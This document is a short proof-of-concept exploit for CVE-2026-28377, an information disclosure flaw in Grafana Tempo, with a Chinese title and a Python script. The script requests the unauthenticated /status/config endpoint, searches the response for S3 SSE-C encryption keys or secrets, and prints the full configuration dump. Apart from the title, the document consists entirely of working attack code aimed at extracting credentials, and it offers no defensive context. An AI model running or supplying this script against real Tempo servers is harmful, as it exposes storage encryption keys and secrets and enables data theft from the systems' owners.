CVE-2026-28377 Grafana Tempo信息泄露漏洞

import requests # Target URL of the vulnerable Grafana Tempo instance target_url = "http://target-grafana-tempo:3100/status/config" def check_poc(): try: # Send a GET request to the exposed endpoint # No authentication required based on CVE details response = requests.get(target_url, timeout=10) if response.status_code == 200: print("[+] Endpoint is accessible.") config_data = response.text # Check if S3 SSE-C key is exposed in the response # The key might be under fields like 's3.encryption_key' or similar if "s3" in config_data.lower() and ("key" in config_data.lower() or "secret" in config_data.lower()): print("[+] Potential S3 SSE-C Key found in response!") print("[+] Configuration Dump:") print(config_data) return True else: print("[-] S3 Key not found in the response output.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") return False if __name__ == "__main__": check_poc()